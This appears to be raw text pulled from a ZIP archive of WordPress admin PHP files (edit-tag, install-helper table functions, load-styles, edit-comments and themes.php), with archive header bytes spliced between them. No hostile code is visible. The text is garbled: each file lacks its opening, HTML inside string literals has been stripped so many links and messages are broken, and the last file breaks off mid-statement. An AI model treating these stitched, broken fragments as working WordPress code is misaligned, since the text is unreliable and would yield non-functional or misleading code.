set_parentage( $parent_file ); ?>
render_screen_meta(); if ( is_network_admin() ) { /** * Prints network admin screen notices. * * @since 3.1.0 */ do_action( 'network_admin_notices' ); } elseif ( is_user_admin() ) { /** * Prints user admin screen notices. * * @since 3.1.0 */ do_action( 'user_admin_notices' ); } else { /** * Prints admin screen notices. * * @since 3.1.0 */ do_action( 'admin_notices' ); } /** * Prints generic admin screen notices. * * @since 3.1.0 */ do_action( 'all_admin_notices' ); if ( 'options-general.php' === $parent_file ) { require ABSPATH . 'wp-admin/options-head.php'; } PKysmmoptions-head.phpnu[ $taxnow ), $sendback ); } if ( 'post' !== get_current_screen()->post_type ) { $sendback = add_query_arg( 'post_type', get_current_screen()->post_type, $sendback ); } wp_redirect( sanitize_url( $sendback ) ); exit; } $tag_ID = absint( $_REQUEST['tag_ID'] ); $tag = get_term( $tag_ID, $taxnow, OBJECT, 'edit' ); if ( ! $tag instanceof WP_Term ) { wp_die( __( 'You attempted to edit an item that does not exist. Perhaps it was deleted?' ) ); } $tax = get_taxonomy( $tag->taxonomy ); $taxonomy = $tax->name; $title = $tax->labels->edit_item; if ( ! in_array( $taxonomy, get_taxonomies( array( 'show_ui' => true ) ), true ) || ! current_user_can( 'edit_term', $tag->term_id ) ) { wp_die( '

' . __( 'You need a higher level of permission.' ) . '

' . '

' . __( 'Sorry, you are not allowed to edit this item.' ) . '

', 403 ); } $post_type = get_current_screen()->post_type; // Default to the first object_type associated with the taxonomy if no post type was passed. if ( empty( $post_type ) ) { $post_type = reset( $tax->object_type ); } if ( 'post' !== $post_type ) { $parent_file = ( 'attachment' === $post_type ) ? 'upload.php' : "edit.php?post_type=$post_type"; $submenu_file = "edit-tags.php?taxonomy=$taxonomy&post_type=$post_type"; } elseif ( 'link_category' === $taxonomy ) { $parent_file = 'link-manager.php'; $submenu_file = 'edit-tags.php?taxonomy=link_category'; } else { $parent_file = 'edit.php'; $submenu_file = "edit-tags.php?taxonomy=$taxonomy"; } get_current_screen()->set_screen_reader_content( array( 'heading_pagination' => $tax->labels->items_list_navigation, 'heading_list' => $tax->labels->items_list, ) ); wp_enqueue_script( 'admin-tags' ); require_once ABSPATH . 'wp-admin/admin-header.php'; require ABSPATH . 'wp-admin/edit-tag-form.php'; require_once ABSPATH . 'wp-admin/admin-footer.php'; PKy[Õcustom-header.phpnu[comments, 'comment_author', 'tinytext' ) ) { * echo "ok\n"; * } * * // Check the column. * if ( ! check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) { * $ddl = "ALTER TABLE $wpdb->links MODIFY COLUMN link_description varchar(255) NOT NULL DEFAULT '' "; * $q = $wpdb->query( $ddl ); * } * * $error_count = 0; * $tablename = $wpdb->links; * * if ( check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) { * $res .= $tablename . ' - ok
'; * } else { * $res .= 'There was a problem with ' . $tablename . '
'; * ++$error_count; * } * * @package WordPress * @subpackage Plugin */ /** Load WordPress Bootstrap */ require_once dirname( __DIR__ ) . '/wp-load.php'; if ( ! function_exists( 'maybe_create_table' ) ) : /** * Creates a table in the database if it doesn't already exist. * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $table_name Database table name. * @param string $create_ddl SQL statement to create table. * @return bool True on success or if the table already exists. False on failure. */ function maybe_create_table( $table_name, $create_ddl ) { global $wpdb; foreach ( $wpdb->get_col( 'SHOW TABLES', 0 ) as $table ) { if ( $table === $table_name ) { return true; } } // Didn't find it, so try to create it. // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query. $wpdb->query( $create_ddl ); // We cannot directly tell whether this succeeded! foreach ( $wpdb->get_col( 'SHOW TABLES', 0 ) as $table ) { if ( $table === $table_name ) { return true; } } return false; } endif; if ( ! function_exists( 'maybe_add_column' ) ) : /** * Adds column to database table, if it doesn't already exist. * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $table_name Database table name. * @param string $column_name Table column name. * @param string $create_ddl SQL statement to add column. * @return bool True on success or if the column already exists. False on failure. */ function maybe_add_column( $table_name, $column_name, $create_ddl ) { global $wpdb; // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names. foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) { if ( $column === $column_name ) { return true; } } // Didn't find it, so try to create it. // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query. $wpdb->query( $create_ddl ); // We cannot directly tell whether this succeeded! // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names. foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) { if ( $column === $column_name ) { return true; } } return false; } endif; /** * Drops column from database table, if it exists. * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $table_name Database table name. * @param string $column_name Table column name. * @param string $drop_ddl SQL statement to drop column. * @return bool True on success or if the column doesn't exist. False on failure. */ function maybe_drop_column( $table_name, $column_name, $drop_ddl ) { global $wpdb; // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names. foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) { if ( $column === $column_name ) { // Found it, so try to drop it. // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query. $wpdb->query( $drop_ddl ); // We cannot directly tell whether this succeeded! // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names. foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) { if ( $column === $column_name ) { return false; } } } } // Else didn't find it. return true; } /** * Checks that database table column matches the criteria. * * Uses the SQL DESC for retrieving the table info for the column. It will help * understand the parameters, if you do more research on what column information * is returned by the SQL statement. Pass in null to skip checking that criteria. * * Column names returned from DESC table are case sensitive and are as listed: * * - Field * - Type * - Null * - Key * - Default * - Extra * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $table_name Database table name. * @param string $col_name Table column name. * @param string $col_type Table column type. * @param bool $is_null Optional. Check is null. * @param mixed $key Optional. Key info. * @param mixed $default_value Optional. Default value. * @param mixed $extra Optional. Extra value. * @return bool True, if matches. False, if not matching. */ function check_column( $table_name, $col_name, $col_type, $is_null = null, $key = null, $default_value = null, $extra = null ) { global $wpdb; $diffs = 0; // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names. $results = $wpdb->get_results( "DESC $table_name" ); foreach ( $results as $row ) { if ( $row->Field === $col_name ) { // Got our column, check the params. if ( ( null !== $col_type ) && ( $row->Type !== $col_type ) ) { ++$diffs; } if ( ( null !== $is_null ) && ( $row->Null !== $is_null ) ) { ++$diffs; } if ( ( null !== $key ) && ( $row->Key !== $key ) ) { ++$diffs; } if ( ( null !== $default_value ) && ( $row->Default !== $default_value ) ) { ++$diffs; } if ( ( null !== $extra ) && ( $row->Extra !== $extra ) ) { ++$diffs; } if ( $diffs > 0 ) { return false; } return true; } // End if found our column. } return false; } PKy|( load-styles.phpnu[get_etag( $load ); if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) && stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] ) === $etag ) { header( "$protocol 304 Not Modified" ); exit; } foreach ( $load as $handle ) { if ( ! array_key_exists( $handle, $wp_styles->registered ) ) { continue; } $style = $wp_styles->registered[ $handle ]; if ( empty( $style->src ) ) { continue; } $path = ABSPATH . $style->src; if ( $rtl && ! empty( $style->extra['rtl'] ) ) { // All default styles have fully independent RTL files. $path = str_replace( '.min.css', '-rtl.min.css', $path ); } $content = get_file( $path ) . "\n"; // Note: str_starts_with() is not used here, as wp-includes/compat.php is not loaded in this file. if ( 0 === strpos( $style->src, '/' . WPINC . '/css/' ) ) { $content = str_replace( '../images/', '../' . WPINC . '/images/', $content ); $content = str_replace( '../js/tinymce/', '../' . WPINC . '/js/tinymce/', $content ); $content = str_replace( '../fonts/', '../' . WPINC . '/fonts/', $content ); $out .= $content; } else { $out .= str_replace( '../images/', 'images/', $content ); } } header( "Etag: $etag" ); header( 'Content-Type: text/css; charset=UTF-8' ); header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expires_offset ) . ' GMT' ); header( "Cache-Control: public, max-age=$expires_offset" ); echo $out; exit; PKy[\99edit-comments.phpnu[' . __( 'You need a higher level of permission.' ) . '' . '

' . __( 'Sorry, you are not allowed to edit comments.' ) . '

', 403 ); } $wp_list_table = _get_list_table( 'WP_Comments_List_Table' ); $pagenum = $wp_list_table->get_pagenum(); $doaction = $wp_list_table->current_action(); if ( $doaction ) { check_admin_referer( 'bulk-comments' ); if ( 'delete_all' === $doaction && ! empty( $_REQUEST['pagegen_timestamp'] ) ) { /** * @global wpdb $wpdb WordPress database abstraction object. */ global $wpdb; $comment_status = wp_unslash( $_REQUEST['comment_status'] ); $delete_time = wp_unslash( $_REQUEST['pagegen_timestamp'] ); $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_approved = %s AND %s > comment_date_gmt", $comment_status, $delete_time ) ); $doaction = 'delete'; } elseif ( isset( $_REQUEST['delete_comments'] ) ) { $comment_ids = $_REQUEST['delete_comments']; $doaction = $_REQUEST['action']; } elseif ( isset( $_REQUEST['ids'] ) ) { $comment_ids = array_map( 'absint', explode( ',', $_REQUEST['ids'] ) ); } elseif ( wp_get_referer() ) { wp_safe_redirect( wp_get_referer() ); exit; } $approved = 0; $unapproved = 0; $spammed = 0; $unspammed = 0; $trashed = 0; $untrashed = 0; $deleted = 0; $redirect_to = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'spammed', 'unspammed', 'approved', 'unapproved', 'ids', ), wp_get_referer() ); $redirect_to = add_query_arg( 'paged', $pagenum, $redirect_to ); wp_defer_comment_counting( true ); foreach ( $comment_ids as $comment_id ) { // Check the permissions on each. if ( ! current_user_can( 'edit_comment', $comment_id ) ) { continue; } switch ( $doaction ) { case 'approve': wp_set_comment_status( $comment_id, 'approve' ); ++$approved; break; case 'unapprove': wp_set_comment_status( $comment_id, 'hold' ); ++$unapproved; break; case 'spam': wp_spam_comment( $comment_id ); ++$spammed; break; case 'unspam': wp_unspam_comment( $comment_id ); ++$unspammed; break; case 'trash': wp_trash_comment( $comment_id ); ++$trashed; break; case 'untrash': wp_untrash_comment( $comment_id ); ++$untrashed; break; case 'delete': wp_delete_comment( $comment_id ); ++$deleted; break; } } if ( ! in_array( $doaction, array( 'approve', 'unapprove', 'spam', 'unspam', 'trash', 'delete' ), true ) ) { $screen = get_current_screen()->id; /** This action is documented in wp-admin/edit.php */ $redirect_to = apply_filters( "handle_bulk_actions-{$screen}", $redirect_to, $doaction, $comment_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } wp_defer_comment_counting( false ); if ( $approved ) { $redirect_to = add_query_arg( 'approved', $approved, $redirect_to ); } if ( $unapproved ) { $redirect_to = add_query_arg( 'unapproved', $unapproved, $redirect_to ); } if ( $spammed ) { $redirect_to = add_query_arg( 'spammed', $spammed, $redirect_to ); } if ( $unspammed ) { $redirect_to = add_query_arg( 'unspammed', $unspammed, $redirect_to ); } if ( $trashed ) { $redirect_to = add_query_arg( 'trashed', $trashed, $redirect_to ); } if ( $untrashed ) { $redirect_to = add_query_arg( 'untrashed', $untrashed, $redirect_to ); } if ( $deleted ) { $redirect_to = add_query_arg( 'deleted', $deleted, $redirect_to ); } if ( $trashed || $spammed ) { $redirect_to = add_query_arg( 'ids', implode( ',', $comment_ids ), $redirect_to ); } wp_safe_redirect( $redirect_to ); exit; } elseif ( ! empty( $_GET['_wp_http_referer'] ) ) { wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ); exit; } $wp_list_table->prepare_items(); wp_enqueue_script( 'admin-comments' ); enqueue_comment_hotkeys_js(); /** * @global int $post_id */ global $post_id; if ( $post_id ) { $comments_count = wp_count_comments( $post_id ); $draft_or_post_title = wp_html_excerpt( _draft_or_post_title( $post_id ), 50, '…' ); if ( $comments_count->moderated > 0 ) { // Used in the HTML title tag. $title = sprintf( /* translators: 1: Comments count, 2: Post title. */ __( 'Comments (%1$s) on “%2$s”' ), number_format_i18n( $comments_count->moderated ), $draft_or_post_title ); } else { // Used in the HTML title tag. $title = sprintf( /* translators: %s: Post title. */ __( 'Comments on “%s”' ), $draft_or_post_title ); } } else { $comments_count = wp_count_comments(); if ( $comments_count->moderated > 0 ) { // Used in the HTML title tag. $title = sprintf( /* translators: %s: Comments count. */ __( 'Comments (%s)' ), number_format_i18n( $comments_count->moderated ) ); } else { // Used in the HTML title tag. $title = __( 'Comments' ); } } add_screen_option( 'per_page' ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'You can manage comments made on your site similar to the way you manage posts and other content. This screen is customizable in the same ways as other management screens, and you can act on comments using the on-hover action links or the bulk actions.' ) . '

', ) ); get_current_screen()->add_help_tab( array( 'id' => 'moderating-comments', 'title' => __( 'Moderating Comments' ), 'content' => '

' . __( 'A red bar on the left means the comment is waiting for you to moderate it.' ) . '

' . '

' . __( 'In the Author column, in addition to the author’s name, email address, and site URL, the commenter’s IP address is shown. Clicking on this link will show you all the comments made from this IP address.' ) . '

' . '

' . __( 'In the Comment column, hovering over any comment gives you options to approve, reply (and approve), quick edit, edit, spam mark, or trash that comment.' ) . '

' . '

' . __( 'In the In response to column, there are three elements. The text is the name of the post that inspired the comment, and links to the post editor for that entry. The View Post link leads to that post on your live site. The small bubble with the number in it shows the number of approved comments that post has received. If there are pending comments, a red notification circle with the number of pending comments is displayed. Clicking the notification circle will filter the comments screen to show only pending comments on that post.' ) . '

' . '

' . __( 'In the Submitted on column, the date and time the comment was left on your site appears. Clicking on the date/time link will take you to that comment on your live site.' ) . '

' . '

' . __( 'Many people take advantage of keyboard shortcuts to moderate their comments more quickly. Use the link to the side to learn more.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Comments' ) . '

' . '

' . __( 'Documentation on Comment Spam' ) . '

' . '

' . __( 'Documentation on Keyboard Shortcuts' ) . '

' . '

' . __( 'Support forums' ) . '

' ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter comments list' ), 'heading_pagination' => __( 'Comments list navigation' ), 'heading_list' => __( 'Comments list' ), ) ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

%2$s', get_edit_post_link( $post_id ), wp_html_excerpt( _draft_or_post_title( $post_id ), 50, '…' ) ) ); } else { _e( 'Comments' ); } ?>

%2$s', get_permalink( $post_id ), $post_type_object->labels->view_item ); } } if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) { echo ''; printf( /* translators: %s: Search query. */ __( 'Search results for: %s' ), '' . esc_html( wp_unslash( $_REQUEST['s'] ) ) . '' ); echo ''; } ?>
'moderated', 'additional_classes' => array( 'error' ), ) ); } } if ( isset( $_REQUEST['approved'] ) || isset( $_REQUEST['deleted'] ) || isset( $_REQUEST['trashed'] ) || isset( $_REQUEST['untrashed'] ) || isset( $_REQUEST['spammed'] ) || isset( $_REQUEST['unspammed'] ) || isset( $_REQUEST['same'] ) ) { $approved = isset( $_REQUEST['approved'] ) ? (int) $_REQUEST['approved'] : 0; $deleted = isset( $_REQUEST['deleted'] ) ? (int) $_REQUEST['deleted'] : 0; $trashed = isset( $_REQUEST['trashed'] ) ? (int) $_REQUEST['trashed'] : 0; $untrashed = isset( $_REQUEST['untrashed'] ) ? (int) $_REQUEST['untrashed'] : 0; $spammed = isset( $_REQUEST['spammed'] ) ? (int) $_REQUEST['spammed'] : 0; $unspammed = isset( $_REQUEST['unspammed'] ) ? (int) $_REQUEST['unspammed'] : 0; $same = isset( $_REQUEST['same'] ) ? (int) $_REQUEST['same'] : 0; if ( $approved > 0 || $deleted > 0 || $trashed > 0 || $untrashed > 0 || $spammed > 0 || $unspammed > 0 || $same > 0 ) { if ( $approved > 0 ) { $messages[] = sprintf( /* translators: %s: Number of comments. */ _n( '%s comment approved.', '%s comments approved.', $approved ), $approved ); } if ( $spammed > 0 ) { $ids = isset( $_REQUEST['ids'] ) ? $_REQUEST['ids'] : 0; $messages[] = sprintf( /* translators: %s: Number of comments. */ _n( '%s comment marked as spam.', '%s comments marked as spam.', $spammed ), $spammed ) . sprintf( ' %2$s
', esc_url( wp_nonce_url( "edit-comments.php?doaction=undo&action=unspam&ids=$ids", 'bulk-comments' ) ), __( 'Undo' ) ); } if ( $unspammed > 0 ) { $messages[] = sprintf( /* translators: %s: Number of comments. */ _n( '%s comment restored from the spam.', '%s comments restored from the spam.', $unspammed ), $unspammed ); } if ( $trashed > 0 ) { $ids = isset( $_REQUEST['ids'] ) ? $_REQUEST['ids'] : 0; $messages[] = sprintf( /* translators: %s: Number of comments. */ _n( '%s comment moved to the Trash.', '%s comments moved to the Trash.', $trashed ), $trashed ) . sprintf( ' %2$s
', esc_url( wp_nonce_url( "edit-comments.php?doaction=undo&action=untrash&ids=$ids", 'bulk-comments' ) ), __( 'Undo' ) ); } if ( $untrashed > 0 ) { $messages[] = sprintf( /* translators: %s: Number of comments. */ _n( '%s comment restored from the Trash.', '%s comments restored from the Trash.', $untrashed ), $untrashed ); } if ( $deleted > 0 ) { $messages[] = sprintf( /* translators: %s: Number of comments. */ _n( '%s comment permanently deleted.', '%s comments permanently deleted.', $deleted ), $deleted ); } if ( $same > 0 ) { $comment = get_comment( $same ); if ( $comment ) { switch ( $comment->comment_approved ) { case '1': $messages[] = __( 'This comment is already approved.' ) . sprintf( ' %2$s', esc_url( admin_url( "comment.php?action=editcomment&c=$same" ) ), __( 'Edit comment' ) ); break; case 'trash': $messages[] = __( 'This comment is already in the Trash.' ) . sprintf( ' %2$s', esc_url( admin_url( 'edit-comments.php?comment_status=trash' ) ), __( 'View Trash' ) ); break; case 'spam': $messages[] = __( 'This comment is already marked as spam.' ) . sprintf( ' %2$s', esc_url( admin_url( "comment.php?action=editcomment&c=$same" ) ), __( 'Edit comment' ) ); break; } } } wp_admin_notice( implode( "
\n", $messages ), array( 'id' => 'moderated', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } } ?> views(); ?>
search_box( __( 'Search Comments' ), 'comment' ); ?> display(); ?>
PKy[Ƴ themes.phpnu[' . __( 'You need a higher level of permission.' ) . '' . '

' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '

', 403 ); } if ( current_user_can( 'switch_themes' ) && isset( $_GET['action'] ) ) { if ( 'activate' === $_GET['action'] ) { check_admin_referer( 'switch-theme_' . $_GET['stylesheet'] ); $theme = wp_get_theme( $_GET['stylesheet'] ); if ( ! $theme->exists() || ! $theme->is_allowed() ) { wp_die( '

' . __( 'An error occurred.' ) . '

' . '

' . __( 'The requested theme does not exist.' ) . '

', 403 ); } switch_theme( $theme->get_stylesheet() ); wp_redirect( admin_url( 'themes.php?activated=true' ) ); exit; } elseif ( 'resume' === $_GET['action'] ) { check_admin_referer( 'resume-theme_' . $_GET['stylesheet'] ); $theme = wp_get_theme( $_GET['stylesheet'] ); if ( ! current_user_can( 'resume_theme', $_GET['stylesheet'] ) ) { wp_die( '

' . __( 'You need a higher level of permission.' ) . '

' . '

' . __( 'Sorry, you are not allowed to resume this theme.' ) . '

', 403 ); } $result = resume_theme( $theme->get_stylesheet(), self_admin_url( 'themes.php?error=resuming' ) ); if ( is_wp_error( $result ) ) { wp_die( $result ); } wp_redirect( admin_url( 'themes.php?resumed=true' ) ); exit; } elseif ( 'delete' === $_GET['action'] ) { check_admin_referer( 'delete-theme_' . $_GET['stylesheet'] ); $theme = wp_get_theme( $_GET['stylesheet'] ); if ( ! current_user_can( 'delete_themes' ) ) { wp_die( '

' . __( 'You need a higher level of permission.' ) . '

' . '

' . __( 'Sorry, you are not allowed to delete this item.' ) . '

', 403 ); } if ( ! $theme->exists() ) { wp_die( '

' . __( 'An error occurred while deleting the theme.' ) . '

' . '

' . __( 'The requested theme does not exist.' ) . '

', 403 ); } $active = wp_get_theme(); if ( $active->get( 'Template' ) === $_GET['stylesheet'] ) { wp_redirect( admin_url( 'themes.php?delete-active-child=true' ) ); } else { delete_theme( $_GET['stylesheet'] ); wp_redirect( admin_url( 'themes.php?deleted=true' ) ); } exit; } elseif ( 'enable-auto-update' === $_GET['action'] ) { if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) { wp_die( __( 'Sorry, you are not allowed to enable themes automatic updates.' ) ); } check_admin_referer( 'updates' ); $all_items = wp_get_themes(); $auto_updates = (array) get_site_option( 'auto_update_themes', array() ); $auto_updates[] = $_GET['stylesheet']; $auto_updates = array_unique( $auto_updates ); // Remove themes that have been deleted since the site option was last updated. $auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) ); update_site_option( 'auto_update_themes', $auto_updates ); wp_redirect( admin_url( 'themes.php?enabled-auto-update=true' ) ); exit; } elseif ( 'disable-auto-update' === $_GET['action'] ) { if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) { wp_die( __( 'Sorry, you are not allowed to disable themes automatic updates.' ) ); } check_admin_referer( 'updates' ); $all_items = wp_get_themes(); $auto_updates = (array) get_site_option( 'auto_update_themes', array() ); $auto_updates = array_diff( $auto_updates, array( $_GET['stylesheet'] ) ); // Remove themes that have been deleted since the site option was last updated. $auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) ); update_site_option( 'auto_update_themes', $auto_updates ); wp_redirect( admin_url( 'themes.php?disabled-auto-update=true' ) ); exit; } } // Used in the HTML title tag. $title = __( 'Themes' ); $parent_file = 'themes.php'; // Help tab: Overview. if ( current_user_can( 'switch_themes' ) ) { $help_overview = '

' . __( 'This screen is used for managing your installed themes. Aside from the default theme(s) included with your WordPress installation, themes are designed and developed by third parties.' ) . '

' . '

' . __( 'From this screen you can:' ) . '

' . '
  • ' . __( 'Hover or tap to see Activate and Live Preview buttons' ) . '
  • ' . '
  • ' . __( 'Click on the theme to see the theme name, version, author, description, tags, and the Delete link' ) . '
  • ' . '
  • ' . __( 'Click Customize for the active theme or Live Preview for any other theme to see a live preview' ) . '
' . '

' . __( 'The active theme is displayed highlighted as the first theme.' ) . '

' . '

' . __( 'The search for installed themes will search for terms in their name, description, author, or tag.' ) . ' ' . __( 'The search results will be updated as you type.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help_overview, ) ); } // End if 'switch_themes'. // Help tab: Adding Themes. if ( current_user_can( 'install_themes' ) ) { if ( is_multisite() ) { $help_install = '

' . __( 'Installing themes on Multisite can only be done from the Network Admin section.' ) . '

'; } else { $help_install = '

' . sprintf( /* translators: %s: https://wordpress.org/themes/ */ __( 'If you would like to see more themes to choose from, click on the “Add Theme” button and you will be able to browse or search for additional themes from the WordPress Theme Directory. Themes in the WordPress Theme Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they are free!' ), __( 'https://wordpress.org/themes/' ) ) . '

'; } get_current_screen()->add_help_tab( array( 'id' => 'adding-themes', 'title' => __( 'Adding Themes' ), 'content' => $help_install, ) ); } // End if 'install_themes'. // Help tab: Previewing and Customizing. if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { $help_customize = '

' . __( 'Tap or hover on any theme then click the Live Preview button to see a live preview of that theme and change theme options in a separate, full-screen view. You can also find a Live Preview button at the bottom of the theme details screen. Any installed theme can be previewed and customized in this way.' ) . '

' . '

' . __( 'The theme being previewed is fully interactive — navigate to different pages to see how the theme handles posts, archives, and other page templates. The settings may differ depending on what theme features the theme being previewed supports. To accept the new settings and activate the theme all in one step, click the Activate & Publish button above the menu.' ) . '

' . '

' . __( 'When previewing on smaller monitors, you can use the collapse icon at the bottom of the left-hand pane. This will hide the pane, giving you more room to preview your site in the new theme. To bring the pane back, click on the collapse icon again.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'customize-preview-themes', 'title' => __( 'Previewing and Customizing' ), 'content' => $help_customize, ) ); } // End if 'edit_theme_options' && 'customize'. $help_sidebar_autoupdates = ''; // Help tab: Auto-updates. if ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) { $help_tab_autoupdates = '

' . __( 'Auto-updates can be enabled or disabled for each individual theme. Themes with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '

' . '

' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'plugins-themes-auto-updates', 'title' => __( 'Auto-updates' ), 'content' => $help_tab_autoupdates, ) ); $help_sidebar_autoupdates = '

' . __( 'Documentation on Auto-updates' ) . '

'; } // End if 'update_themes' && 'wp_is_auto_update_enabled_for_type'. get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Using Themes' ) . '

' . '

' . __( 'Documentation on Managing Themes' ) . '

' . $help_sidebar_autoupdates . '

' . __( 'Support forums' ) . '

' ); if ( current_user_can( 'switch_themes' ) ) { $themes = wp_prepare_themes_for_js(); } else { $themes = wp_prepare_themes_for_js( array( wp_get_theme() ) ); } $theme = ! empty( $_REQUEST['theme'] ) ? sanitize_text_field( $_REQUEST['theme'] ) : ''; $search = ! empty( $_REQUEST['search'] ) ? sanitize_text_field( $_REQUEST['search'] ) : ''; wp_localize_script( 'theme', '_wpThemeSettings', array( 'themes' => $themes, 'settings' => array( 'canInstall' => ( ! is_multisite() && current_user_can( 'install_themes' ) ), 'installURI' => ( ! is_multisite() && current_user_can( 'install_themes' ) ) ? admin_url( 'theme-install.php' ) : null, 'confirmDelete' => __( "Are you sure you want to delete this theme?\n\nClick 'Cancel' to go back, 'OK' to confirm the delete." ), 'adminUrl' => parse_url( admin_url(), PHP_URL_PATH ), ), 'l10n' => array( 'addNew' => __( 'Add Theme' ), 'search' => __( 'Search installed themes' ), /* translators: %d: Number of themes. */ 'themesFound' => __( 'Number of Themes found: %d' ), 'noThemesFound' => __( 'No themes found. Try a different search.' ), ), ) ); add_thickbox(); wp_enqueue_script( 'theme' ); wp_enqueue_script( 'updates' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>


'message1', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } elseif ( isset( $_GET['activated'] ) ) { if ( isset( $_GET['previewed'] ) ) { wp_admin_notice( __( 'Settings saved and theme activated.' ) . ' ' . __( 'Visit site' ) . '', array( 'id' => 'message2', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } else { wp_admin_notice( __( 'New theme activated.' ) . ' ' . __( 'Visit site' ) . '', array( 'id' => 'message2', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } } elseif ( isset( $_GET['deleted'] ) ) { wp_admin_notice( __( 'Theme deleted.' ), array( 'id' => 'message3', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } elseif ( isset( $_GET['delete-active-child'] ) ) { wp_admin_notice( __( 'You cannot delete a theme while it has an active child theme.' ), array( 'id' => 'message4', 'additional_classes' => array( 'error' ), ) ); } elseif ( isset( $_GET['resumed'] ) ) { wp_admin_notice( __( 'Theme resumed.' ), array( 'id' => 'message5', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } elseif ( isset( $_GET['error'] ) && 'resuming' === $_GET['error'] ) { wp_admin_notice( __( 'Theme could not be resumed because it triggered a fatal error.' ), array( 'id' => 'message6', 'additional_classes' => array( 'error' ), ) ); } elseif ( isset( $_GET['enabled-auto-update'] ) ) { wp_admin_notice( __( 'Theme will be auto-updated.' ), array( 'id' => 'message7', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } elseif ( isset( $_GET['disabled-auto-update'] ) ) { wp_admin_notice( __( 'Theme will no longer be auto-updated.' ), array( 'id' => 'message8', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } $current_theme = wp_get_theme(); if ( $current_theme->errors() && ( ! is_multisite() || current_user_can( 'manage_network_themes' ) ) ) { wp_admin_notice( '' . __( 'Error:' ) . ' ' . $current_theme->errors()->get_error_message(), array( 'additional_classes' => array( 'error' ), ) ); } $current_theme_actions = array(); if ( is_array( $submenu ) && isset( $submenu['themes.php'] ) ) { $forbidden_paths = array( 'themes.php', 'theme-editor.php', 'site-editor.php', 'edit.php?post_type=wp_navigation', ); foreach ( (array) $submenu['themes.php'] as $item ) { $class = ''; if ( in_array( $item[2], $forbidden_paths, true ) || str_starts_with( $item[2], 'customize.php' ) ) { continue; } // 0 = name, 1 = capability, 2 = file. if ( 0 === strcmp( $self, $item[2] ) && empty( $parent_file ) || $parent_file && $item[2] === $parent_file ) { $class = ' current'; } if ( ! empty( $submenu[ $item[2] ] ) ) { $submenu[ $item[2] ] = array_values( $submenu[ $item[2] ] ); // Re-index. $menu_hook = get_plugin_page_hook( $submenu[ $item[2] ][0][2], $item[2] ); if ( file_exists( WP_PLUGIN_DIR . "/{$submenu[$item[2]][0][2]}" ) || ! empty( $menu_hook ) ) { $current_theme_actions[] = "{$item[0]}"; } else { $current_theme_actions[] = "{$item[0]}"; } } elseif ( ! empty( $item[2] ) && current_user_can( $item[1] ) ) { $menu_file = $item[2]; if ( current_user_can( 'customize' ) ) { if ( 'custom-header' === $menu_file ) { $current_theme_actions[] = "{$item[0]}"; } elseif ( 'custom-background' === $menu_file ) { $current_theme_actions[] = "{$item[0]}"; } } $pos = 